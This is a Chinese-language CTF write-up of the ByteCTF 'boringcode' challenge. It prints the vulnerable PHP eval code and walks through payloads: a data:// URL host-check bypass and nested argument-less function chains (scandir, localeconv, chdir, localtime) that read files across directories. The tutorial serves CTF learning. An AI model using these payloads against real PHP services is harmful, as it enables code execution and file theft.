0%

复现ByteCTF-boringcode

前言

这次比赛没做出来,看着大佬的write up复现,思路真的很骚。

Boringcode

  • 源码
<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

考点1

 if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);

这里如果没有is_valid_url($url)是可以使用data伪协议进行绕过,但是is_valid_url($url)对data进行了过滤使用伪协议这条数行不通,但是也学到了data伪协议可以绕过域名的限制。,但是绕过该点要不一个baidu的鸡肋跳转漏洞要不就是买个xxxbaidu.com的域名。

例如:

<?php
$url = $_POST['url'];
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
        }

eval($code);
?>

payload:

url=data://baidu.com/plain;base64,cGhwaW5mbygpOw==

img


考点2

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }

这里会把函数给替换为空,如果替换结果剩下一个“;”那么就可以绕过这个正则。

img

可以观察到,这个正则只会匹配函数为纯字母并且参数为空的payload。也就是说我们传入的值必须是一个只含字母并且没有参数的函数的payload.同时可以注意到这个是可以进行一个函数的套用。那就是说让我们构造多个空参数的函数去读取flag.

我们看如下几个函数:

scandir() 
    var_dump(scandir('.'));
    array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" } 

了一看到scandir('.')能够返回当前目录的文件列表的数组,那么怎么取出文件名和读取文件呢,可以使用:

end()//读取数组最后一个元素
readfile()//输出一个文件

那么就可以构造如下payload:

readfile(end(scandir('.')))

问题又来了,我们不不能够有这个参数那么点又如何构造呢?从大佬的write up中看到两个方法。

  1. localeconv()
        var_dump(localeconv());
        array(18) { 
            ["decimal_point"]=> string(1) "." 
            ["thousands_sep"]=> string(0) "" 
            ["int_curr_symbol"]=> string(0) ""
            ["currency_symbol"]=> string(0) "" 
            ["mon_decimal_point"]=> string(0) ""
            .......
        } 

该函数返回一个当地数字以及货币信息的数组,可以看到返回值第一个就是“.”,而与end()相反的取第一个元素的函数有:

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名

那么就可以构造如下payload.可以读取到文件本地文件。

readfile(end(scandir(pos(localeconv()))))

img

但是flag并不在本文件夹下,那么就需要用到改变当前目录的函数:

chdir() 函数改变当前的目录。
next() 函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".."

那么构造payload,j就可以跳转到上一目录了,大师chidr并不会返回目录列表,而是会返回一个bool值,我们怎么去读取文件呢:

chdir(next(scandir(pos(localeconv()))))

这里可以使用if()语句,也就是当跳转目录成功时候就读取当前文件。构造如下payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))))
  1. 当然还有另外的方法,利用当前秒数构造AIISC码再用chr()去转码生成字符。
chr(pos(localtime()))

这里出现了一个问题,这个localtime()只接受时间戳,那么这里又出现了其问题如果构造如下payload将无法执行。那么这里还需要不受参数影响的函数,那就time()

chr(pos(localtime(chdir(next(scandir(pos(localeconv())))))))

那么可以构造如下payload:

chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))

整体构造:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

无参数函数小总结

这里是针对无参数函数利用来说的。

getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile()  输出一个文件

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end()       将内部指针指向数组中的最后一个元素,并输出。
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)

参考:

ByteCTF一道题的分析与学习PHP无参数函数的利用